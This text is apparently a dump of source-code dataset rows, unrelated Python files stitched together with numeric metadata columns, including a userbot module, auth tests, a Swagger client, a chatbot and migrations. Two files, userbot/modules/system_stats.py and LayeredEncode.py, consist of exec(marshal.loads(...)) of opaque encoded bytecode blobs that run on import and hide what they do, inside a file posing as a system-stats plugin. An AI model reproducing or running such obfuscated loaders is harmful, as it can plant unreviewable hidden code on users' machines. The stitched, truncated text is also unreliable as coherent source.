"| [Day 1](http... | 22.372937 | 64 | 0.274819 | 368 | 6,779 | 4.913043 | 0.127717 | 0.19469 | 0.207412 | 0.210177 | 0.806416 | 0.769358 | 0.701881 | 0.615597 | 0.558075 | 0.558075 | 0 | 0.017964 | 0.605842 | 6,779 | 302 | 65 | 22.44702 | 0.65494 | 0 | 0 | 0.741497 | 0 | 0.020408 | 0.166249 | 0 | 0 | 0 | 0 | 0 | 0.010204 | 1 | 0.010204 | false | 0 | 0.010204 | 0 | 0.020408 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
779ac3c6ce874ec2dd03e2cf776446e9f6fa2e5d | 19,497 | py | Python | userbot/modules/system_stats.py | oxyda-fox/XBot-Remix | 3d97bea5395b223fc89a8cc6cb699cc624ccc967 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | userbot/modules/system_stats.py | oxyda-fox/XBot-Remix | 3d97bea5395b223fc89a8cc6cb699cc624ccc967 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | userbot/modules/system_stats.py | oxyda-fox/XBot-Remix | 3d97bea5395b223fc89a8cc6cb699cc624ccc967 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | #Encript Marshal By XVenom
#https://github.com/xvenom15
import marshal
exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00s\xe4\x01\x00\x00d\x00Z\x00d\x01d\x02l\x01m\x02Z\x03\x01\x00d\x01d\x03l\x04m\x05Z\x06\x01\x00d\x01d\x04l\x07m\x08Z\x08m\tZ\t\x01\x0... | 3,899.4 | 19,425 | 0.751244 | 4,205 | 19,497 | 3.472771 | 0.162901 | 0.182839 | 0.118948 | 0.07971 | 0.436554 | 0.387112 | 0.341642 | 0.286106 | 0.263028 | 0.233788 | 0 | 0.331213 | 0.016208 | 19,497 | 4 | 19,426 | 4,874.25 | 0.430113 | 0.002667 | 0 | 0 | 0 | 2.5 | 0.900118 | 0.820964 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 10 |
bb41d091869720b3a23978ff33d3f6fd45bdfe21 | 66,924 | py | Python | riskDynBehaviour.py | baaltommysu/AndroidAppDynAnalyser | a3ccc075457de30df51f9281ab8efad1526a897c | [
"Apache-2.0"
] | null | null | null | riskDynBehaviour.py | baaltommysu/AndroidAppDynAnalyser | a3ccc075457de30df51f9281ab8efad1526a897c | [
"Apache-2.0"
] | null | null | null | riskDynBehaviour.py | baaltommysu/AndroidAppDynAnalyser | a3ccc075457de30df51f9281ab8efad1526a897c | [
"Apache-2.0"
] | null | null | null | import csv
NULL = 0
AVERAGE = 1
HIGH = 2
GENERAL_RISK = 0
MONEY_RISK = 1
SMS_RISK = 2
PHONE_RISK = 3
INTERNET_RISK = 4
PRIVACY_RISK = 5
DYNAMIC_RISK = 6
BINARY_RISK ... | 61.738007 | 308 | 0.523056 | 6,419 | 66,924 | 5.221218 | 0.047671 | 0.093152 | 0.081754 | 0.087841 | 0.867343 | 0.850127 | 0.835029 | 0.821692 | 0.803043 | 0.789527 | 0 | 0.014321 | 0.382299 | 66,924 | 1,083 | 309 | 61.795014 | 0.796415 | 0.086008 | 0 | 0.398734 | 0 | 0 | 0.090976 | 0.002047 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.017722 | 0.021519 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
248f253b8324620ebeaddcedc338916d18a8f310 | 143 | py | Python | models/impl/__init__.py | spetrescu/sesn | 43ecc5da7083364eea2c66742c17231c18465973 | [
"MIT"
] | 55 | 2020-02-13T17:44:25.000Z | 2022-03-08T04:26:34.000Z | models/impl/__init__.py | spetrescu/sesn | 43ecc5da7083364eea2c66742c17231c18465973 | [
"MIT"
] | 1 | 2021-07-09T21:49:17.000Z | 2021-07-10T15:12:33.000Z | models/impl/__init__.py | spetrescu/sesn | 43ecc5da7083364eea2c66742c17231c18465973 | [
"MIT"
] | 7 | 2020-02-13T19:41:46.000Z | 2021-09-20T17:23:27.000Z | from . import deep_scale_space
from . import scale_steerable
from . import se_vector_fields
from . import scale_modules
from . import ses_conv
| 23.833333 | 30 | 0.825175 | 22 | 143 | 5.045455 | 0.545455 | 0.45045 | 0.27027 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.13986 | 143 | 5 | 31 | 28.6 | 0.902439 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
24ca4712bfb4da950ff3a3dbd297421136eec7ef | 5,095 | py | Python | auth/tests/test_generate_token.py | OpenMatchmaking/microservice-auth | b0597687d1c3472225be8dd4e2d04d20fc58c2b8 | [
"BSD-3-Clause"
] | 10 | 2018-03-14T13:14:04.000Z | 2022-03-18T04:18:03.000Z | auth/tests/test_generate_token.py | OpenMatchmaking/microservice-auth | b0597687d1c3472225be8dd4e2d04d20fc58c2b8 | [
"BSD-3-Clause"
] | 1 | 2018-10-09T15:12:07.000Z | 2018-10-20T09:48:04.000Z | auth/tests/test_generate_token.py | OpenMatchmaking/microservice-auth | b0597687d1c3472225be8dd4e2d04d20fc58c2b8 | [
"BSD-3-Clause"
] | 2 | 2019-09-15T06:35:58.000Z | 2022-03-18T06:48:02.000Z | from sage_utils.amqp.clients import RpcAmqpClient
from sage_utils.constants import NOT_FOUND_ERROR, VALIDATION_ERROR
from sage_utils.wrappers import Response
from app.token.api.workers.generate_token import GenerateTokenWorker
from app.users.documents import User
REQUEST_QUEUE = GenerateTokenWorker.QUEUE_NAME
REQUES... | 37.463235 | 91 | 0.699313 | 598 | 5,095 | 5.650502 | 0.133779 | 0.085232 | 0.052086 | 0.088784 | 0.823616 | 0.798165 | 0.738976 | 0.712341 | 0.679787 | 0.668837 | 0 | 0.009404 | 0.206869 | 5,095 | 135 | 92 | 37.740741 | 0.826776 | 0 | 0 | 0.647619 | 1 | 0 | 0.087537 | 0.010795 | 0 | 0 | 0 | 0 | 0.295238 | 1 | 0 | false | 0.114286 | 0.047619 | 0 | 0.047619 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
24caeb43f96f8e89e85b3395b16ba2bc28589c55 | 37,495 | py | Python | datcore-sdk/python/datcore_sdk/api/consortiums_api.py | mguidon/aiohttp-dsm | 612e4c7f6f73df7d6752269965c428fda0276191 | [
"MIT"
] | null | null | null | datcore-sdk/python/datcore_sdk/api/consortiums_api.py | mguidon/aiohttp-dsm | 612e4c7f6f73df7d6752269965c428fda0276191 | [
"MIT"
] | null | null | null | datcore-sdk/python/datcore_sdk/api/consortiums_api.py | mguidon/aiohttp-dsm | 612e4c7f6f73df7d6752269965c428fda0276191 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
Blackfynn Swagger
Swagger documentation for the Blackfynn api # noqa: E501
OpenAPI spec version: 1.0.0
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
fro... | 40.711183 | 138 | 0.621576 | 4,375 | 37,495 | 5.039543 | 0.042971 | 0.052975 | 0.081277 | 0.02939 | 0.953783 | 0.946208 | 0.942716 | 0.932329 | 0.91963 | 0.908291 | 0 | 0.014925 | 0.290599 | 37,495 | 920 | 139 | 40.755435 | 0.813978 | 0.307081 | 0 | 0.785288 | 1 | 0 | 0.180362 | 0.049859 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037773 | false | 0 | 0.025845 | 0 | 0.119284 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
7001d2517c90afffc5b82fad2e5ff3195f8ce4df | 2,260 | py | Python | my_work/chatbot_logic.py | shankarj67/GRPC-Hackathon | 0e3a782f8fef8d6ce62da82e593783a455785747 | [
"MIT"
] | 1 | 2020-07-09T17:20:26.000Z | 2020-07-09T17:20:26.000Z | my_work/chatbot_logic.py | shankarj67/GRPC-Hackathon | 0e3a782f8fef8d6ce62da82e593783a455785747 | [
"MIT"
] | null | null | null | my_work/chatbot_logic.py | shankarj67/GRPC-Hackathon | 0e3a782f8fef8d6ce62da82e593783a455785747 | [
"MIT"
] | 2 | 2018-03-20T09:46:21.000Z | 2019-04-03T10:00:21.000Z | # Taken from https://engineering.semantics3.com/a-simplified-guide-to-grpc-in-python-6c4e25f0c506
def message_to_send(x):
if x=="hi":
return 'hello, how can i help you'
elif x=="good afternoon":
return "good afternoon, how you doing"
elif x== 'Do you think you can really help me?':
return 'Yes, O... | 37.04918 | 107 | 0.630531 | 399 | 2,260 | 3.566416 | 0.290727 | 0.063247 | 0.022488 | 0.014055 | 0.735067 | 0.735067 | 0.735067 | 0.735067 | 0.735067 | 0.735067 | 0 | 0.020921 | 0.259735 | 2,260 | 60 | 108 | 37.666667 | 0.829647 | 0.042035 | 0 | 0 | 0 | 0 | 0.665768 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0 | 0 | 0 | 0.521739 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
700a3bd178b31a03a582e304589cd371db359d32 | 12,904 | py | Python | pymote2.1/pymote/examples/ainstropic.py | chinmaydd/RouteSense | a2088d0151be7c76d269d2c5466750423fbe9e02 | [
"MIT"
] | 17 | 2015-09-15T11:07:27.000Z | 2022-03-21T23:27:27.000Z | pymote2.1/pymote/examples/ainstropic.py | chinmaydd/RouteSense | a2088d0151be7c76d269d2c5466750423fbe9e02 | [
"MIT"
] | 1 | 2019-04-13T11:09:05.000Z | 2019-04-13T11:09:05.000Z | pymote2.1/pymote/examples/ainstropic.py | chinmaydd/RouteSense | a2088d0151be7c76d269d2c5466750423fbe9e02 | [
"MIT"
] | 13 | 2016-03-26T01:29:17.000Z | 2022-03-17T02:32:00.000Z | import datetime
import scipy as sp
from pymote import *
from pymote.conf import global_settings
from pymote import propagation
from toplogies import Topology
from pymote.utils import plotter
from pymote.utils.filing import get_path, date2str,\
DATA_DIR, TOPOLOGY_DIR, CHART_DIR, DATETIME_DIR
import numpy as np
f... | 43.447811 | 110 | 0.61694 | 2,086 | 12,904 | 3.642857 | 0.084851 | 0.045796 | 0.026056 | 0.028425 | 0.798131 | 0.784972 | 0.766943 | 0.743124 | 0.730359 | 0.730359 | 0 | 0.043157 | 0.181184 | 12,904 | 296 | 111 | 43.594595 | 0.676036 | 0.803472 | 0 | 0 | 0 | 0.020408 | 0.059031 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.346939 | null | null | 0.081633 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 8 |
700a8964e99d553e080ce48b06375dff3f72ee96 | 186 | py | Python | snsdl/keras/generators/base/__init__.py | kleysonr/snsdl | 2f3cc61d585774f1cb2513b6507e7b872f9eb888 | [
"Apache-2.0"
] | 1 | 2019-02-14T00:03:22.000Z | 2019-02-14T00:03:22.000Z | snsdl/keras/generators/base/__init__.py | kleysonr/snsdl | 2f3cc61d585774f1cb2513b6507e7b872f9eb888 | [
"Apache-2.0"
] | 1 | 2019-04-26T20:55:53.000Z | 2019-04-26T20:55:53.000Z | snsdl/keras/generators/base/__init__.py | kleysonr/snsdl | 2f3cc61d585774f1cb2513b6507e7b872f9eb888 | [
"Apache-2.0"
] | 1 | 2019-02-14T12:04:22.000Z | 2019-02-14T12:04:22.000Z | from .base_sequence_generator import BaseSequenceGenerator
from .img_fs_sequence_generator import ImgFsSequenceGenerator
from .txt_file_sequence_generator import TxtFileSequenceGenerator | 62 | 65 | 0.924731 | 20 | 186 | 8.2 | 0.6 | 0.310976 | 0.420732 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05914 | 186 | 3 | 65 | 62 | 0.937143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
56718dc6183d305c29e638a337af1e372242ed7f | 3,282 | py | Python | pyaz/network/watcher/packet_capture/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/network/watcher/packet_capture/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/network/watcher/packet_capture/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | 1 | 2022-02-03T09:12:01.000Z | 2022-02-03T09:12:01.000Z | from .... pyaz_utils import _call_az
def create(name, resource_group, vm, capture_limit=None, capture_size=None, file_path=None, filters=None, storage_account=None, storage_path=None, time_limit=None):
'''
Create and start a packet capture session.
Required Parameters:
- name -- Name of the packet cap... | 35.673913 | 164 | 0.700792 | 413 | 3,282 | 5.447942 | 0.157385 | 0.098222 | 0.088889 | 0.037333 | 0.804444 | 0.804444 | 0.744 | 0.710222 | 0.692 | 0.692 | 0 | 0 | 0.198964 | 3,282 | 91 | 165 | 36.065934 | 0.855839 | 0.637416 | 0 | 0 | 0 | 0 | 0.250524 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.461538 | false | 0 | 0.076923 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
3b1e66ae8e7efd91ff581877a7c4553cbb8852b8 | 32,881 | py | Python | LayeredEncode.py | Rann-Studio/LayeredEncode | 315cbbaa2a381f2b42afb42bd1f80735fa572b4d | [
"MIT"
] | null | null | null | LayeredEncode.py | Rann-Studio/LayeredEncode | 315cbbaa2a381f2b42afb42bd1f80735fa572b4d | [
"MIT"
] | null | null | null | LayeredEncode.py | Rann-Studio/LayeredEncode | 315cbbaa2a381f2b42afb42bd1f80735fa572b4d | [
"MIT"
] | null | null | null | # Layered Encode
# By RannStudio
import marshal
exec(marshal.loads(b'c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00\x00\x00s"\x00\x00\x00d\x00d\x01l\x00Z\x00e\x01e\x00\xa0\x02d\x02\xa1\x01\xa0\x03d\x03d\x04\xa1\x02\x83\x01\x01\x00d\x01S\x00)\x05\xe9\x00\x00\x00\x00Nsh~\x00\x00Iy... | 5,480.166667 | 32,831 | 0.996229 | 108 | 32,881 | 303.305556 | 0.435185 | 0.005129 | 0.005495 | 0.005495 | 0.001923 | 0.001465 | 0.001465 | 0.001465 | 0.001465 | 0.001465 | 0 | 0.088437 | 0.000304 | 32,881 | 5 | 32,832 | 6,576.2 | 0.908095 | 0.000852 | 0 | 0 | 0 | 0.5 | 0.998691 | 0.998691 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 10 |
3b463ab996d356e896df6ed3f0cd9a4d2942ac0f | 1,646 | py | Python | fiche_produit/migrations/0011_auto_20211002_1555.py | amanmyrats/fiche-produit | 37bc109e63a7eaeab05078a268c798bb54136475 | [
"Unlicense"
] | null | null | null | fiche_produit/migrations/0011_auto_20211002_1555.py | amanmyrats/fiche-produit | 37bc109e63a7eaeab05078a268c798bb54136475 | [
"Unlicense"
] | null | null | null | fiche_produit/migrations/0011_auto_20211002_1555.py | amanmyrats/fiche-produit | 37bc109e63a7eaeab05078a268c798bb54136475 | [
"Unlicense"
] | null | null | null | # Generated by Django 3.2.6 on 2021-10-02 10:55
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('fiche_produit', '0010_auto_20211002_1551'),
]
operations = [
migrations.RenameField(
model_name='annexe5',
old_name=... | 33.591837 | 94 | 0.600851 | 174 | 1,646 | 5.465517 | 0.281609 | 0.066246 | 0.117771 | 0.170347 | 0.74448 | 0.74448 | 0.704522 | 0.704522 | 0.704522 | 0.704522 | 0 | 0.04766 | 0.286148 | 1,646 | 48 | 95 | 34.291667 | 0.761702 | 0.027339 | 0 | 0.619048 | 1 | 0 | 0.140713 | 0.05566 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.02381 | 0 | 0.095238 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8e6bacbd6876b52eee24513ec157cf32014ec04e | 1,477 | py | Python | pycppm/endpoints.py | michaelrosejr/pycppm | 1ccd88c31a236b7906337c4f1035893e350ee90f | [
"MIT"
] | 1 | 2018-03-14T13:16:10.000Z | 2018-03-14T13:16:10.000Z | pycppm/endpoints.py | michaelrosejr/pycppm | 1ccd88c31a236b7906337c4f1035893e350ee90f | [
"MIT"
] | null | null | null | pycppm/endpoints.py | michaelrosejr/pycppm | 1ccd88c31a236b7906337c4f1035893e350ee90f | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests, json
def get_identiy_endpoints(access_token):
"""
Function to get list of mac-addresses from Aruba OS switch
:param auth: AOSSAuth class object returned by pyarubaoss.auth
:return list of mac-addresses
:rtype list
"""
headers ... | 39.918919 | 123 | 0.683142 | 191 | 1,477 | 5.21466 | 0.413613 | 0.066265 | 0.036145 | 0.072289 | 0.841365 | 0.841365 | 0.841365 | 0.841365 | 0.841365 | 0.841365 | 0 | 0.016835 | 0.195667 | 1,477 | 36 | 124 | 41.027778 | 0.821549 | 0.251862 | 0 | 0.736842 | 0 | 0.105263 | 0.358437 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0.052632 | 0 | 0.368421 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d9098648062328f82bc112b125d53cd740c0f2c1 | 282,547 | py | Python | openconfig/ydk/models/openconfig/openconfig_platform.py | CiscoDevNet/ydk-py | 073731fea50694d0bc6cd8ebf10fec308dcc0aa9 | [
"ECL-2.0",
"Apache-2.0"
] | 177 | 2016-03-15T17:03:51.000Z | 2022-03-18T16:48:44.000Z | openconfig/ydk/models/openconfig/openconfig_platform.py | CiscoDevNet/ydk-py | 073731fea50694d0bc6cd8ebf10fec308dcc0aa9 | [
"ECL-2.0",
"Apache-2.0"
] | 18 | 2016-03-30T10:45:22.000Z | 2020-07-14T16:28:13.000Z | openconfig/ydk/models/openconfig/openconfig_platform.py | CiscoDevNet/ydk-py | 073731fea50694d0bc6cd8ebf10fec308dcc0aa9 | [
"ECL-2.0",
"Apache-2.0"
] | 85 | 2016-03-16T20:38:57.000Z | 2022-02-22T04:26:02.000Z | """ openconfig_platform
This module defines a data model for representing a system
component inventory, which can include hardware or software
elements arranged in an arbitrary structure. The primary
relationship supported by the model is containment, e.g.,
components containing subcomponents.
It is expected that th... | 46.017427 | 1,206 | 0.469621 | 23,410 | 282,547 | 5.490773 | 0.028877 | 0.056465 | 0.015062 | 0.030458 | 0.890601 | 0.861194 | 0.834323 | 0.79894 | 0.762064 | 0.741425 | 0 | 0.041316 | 0.437287 | 282,547 | 6,139 | 1,207 | 46.024923 | 0.767141 | 0.33502 | 0 | 0.763939 | 0 | 0 | 0.116396 | 0.024243 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064748 | false | 0 | 0.003597 | 0 | 0.105665 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d925e6a6f7aee1e6b48d31907bc32f8da1e53a45 | 85 | py | Python | server/tools.py | Phyks/Cygnal | 2509b7e8cf97c0aa746f8846e4bb8747fffeb551 | [
"MIT"
] | 2 | 2019-06-11T14:03:14.000Z | 2021-03-17T15:18:47.000Z | server/tools.py | Phyks/cyclassist | 2509b7e8cf97c0aa746f8846e4bb8747fffeb551 | [
"MIT"
] | 8 | 2020-01-02T10:56:52.000Z | 2022-02-26T10:34:13.000Z | server/tools.py | Phyks/cyclassist | 2509b7e8cf97c0aa746f8846e4bb8747fffeb551 | [
"MIT"
] | null | null | null | import arrow
def UTC_now():
return arrow.utcnow().replace(microsecond=0).naive
| 14.166667 | 54 | 0.729412 | 12 | 85 | 5.083333 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013699 | 0.141176 | 85 | 5 | 55 | 17 | 0.821918 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
d93b06db393f54b2d6f74b7769a880b7c2067e17 | 10,632 | py | Python | Clientes_MQTT-SN/mqttsn_publisher.py | Vando-Viriato/Clientes_MQTT-SN-python3 | 608deabfcee24e68f2e4be895f1b67b87cc25f31 | [
"Apache-2.0"
] | null | null | null | Clientes_MQTT-SN/mqttsn_publisher.py | Vando-Viriato/Clientes_MQTT-SN-python3 | 608deabfcee24e68f2e4be895f1b67b87cc25f31 | [
"Apache-2.0"
] | null | null | null | Clientes_MQTT-SN/mqttsn_publisher.py | Vando-Viriato/Clientes_MQTT-SN-python3 | 608deabfcee24e68f2e4be895f1b67b87cc25f31 | [
"Apache-2.0"
] | null | null | null | from MQTTSNclient import Client
import struct
import time
import sys
import xlrd
class Callback:
def published(self, MsgId): #Função publish, publica o tópico e imprime na tela.
print("Topico publicado!")
#Função que conecta o cliente ao gateway
def connect_gateway():
try:
whi... | 33.859873 | 168 | 0.719714 | 1,637 | 10,632 | 4.492975 | 0.130116 | 0.050306 | 0.065398 | 0.080489 | 0.82692 | 0.786132 | 0.750374 | 0.750374 | 0.750374 | 0.726445 | 0 | 0.077671 | 0.177765 | 10,632 | 313 | 169 | 33.968051 | 0.76367 | 0.237679 | 0 | 0.746606 | 0 | 0 | 0.213383 | 0.119134 | 0 | 0 | 0 | 0.003195 | 0 | 1 | 0.013575 | false | 0 | 0.022624 | 0 | 0.040724 | 0.072398 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d94851bbd0a315b0f0323ed36c2b2723f457b4b2 | 7,393 | py | Python | indicators/tests/test_result_table_ui.py | mercycorps/toladata | 4d5f9b45905a81af9981b586690e020d5b3bfc60 | [
"Apache-2.0"
] | null | null | null | indicators/tests/test_result_table_ui.py | mercycorps/toladata | 4d5f9b45905a81af9981b586690e020d5b3bfc60 | [
"Apache-2.0"
] | 268 | 2020-03-31T15:46:59.000Z | 2022-03-31T18:01:08.000Z | indicators/tests/test_result_table_ui.py | mercycorps/toladata | 4d5f9b45905a81af9981b586690e020d5b3bfc60 | [
"Apache-2.0"
] | 1 | 2021-01-05T01:58:24.000Z | 2021-01-05T01:58:24.000Z | # -*- coding: utf-8 -*-
"""
Test result table view for common regressions
"""
import datetime
from django import test
from django.urls import reverse_lazy
from factories import (
ProgramFactory,
IndicatorFactory,
ResultFactory,
PeriodicTargetFactory,
UserFactory,
TolaUserFactory
)
from indicat... | 37.719388 | 118 | 0.627756 | 872 | 7,393 | 5.241972 | 0.172018 | 0.048348 | 0.023627 | 0.031503 | 0.865019 | 0.859987 | 0.852549 | 0.840516 | 0.82564 | 0.817983 | 0 | 0.029155 | 0.271608 | 7,393 | 195 | 119 | 37.912821 | 0.819684 | 0.199784 | 0 | 0.703448 | 0 | 0 | 0.102617 | 0 | 0 | 0 | 0 | 0 | 0.062069 | 1 | 0.041379 | false | 0.041379 | 0.034483 | 0 | 0.096552 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d97160a3c188b876e4cefe30da183fa88f1b22ba | 4,377 | py | Python | tests/file_io/fvde_file_io.py | jaegeral/dfvfs | 606d09bf4de0b5dcf20d1dddff879dfed5c93640 | [
"Apache-2.0"
] | null | null | null | tests/file_io/fvde_file_io.py | jaegeral/dfvfs | 606d09bf4de0b5dcf20d1dddff879dfed5c93640 | [
"Apache-2.0"
] | null | null | null | tests/file_io/fvde_file_io.py | jaegeral/dfvfs | 606d09bf4de0b5dcf20d1dddff879dfed5c93640 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Tests for the file-like object implementation using pyfvde."""
import unittest
from dfvfs.lib import definitions
from dfvfs.lib import errors
from dfvfs.path import factory as path_spec_factory
from dfvfs.resolver import resolver
from tests.file_io import test_lib
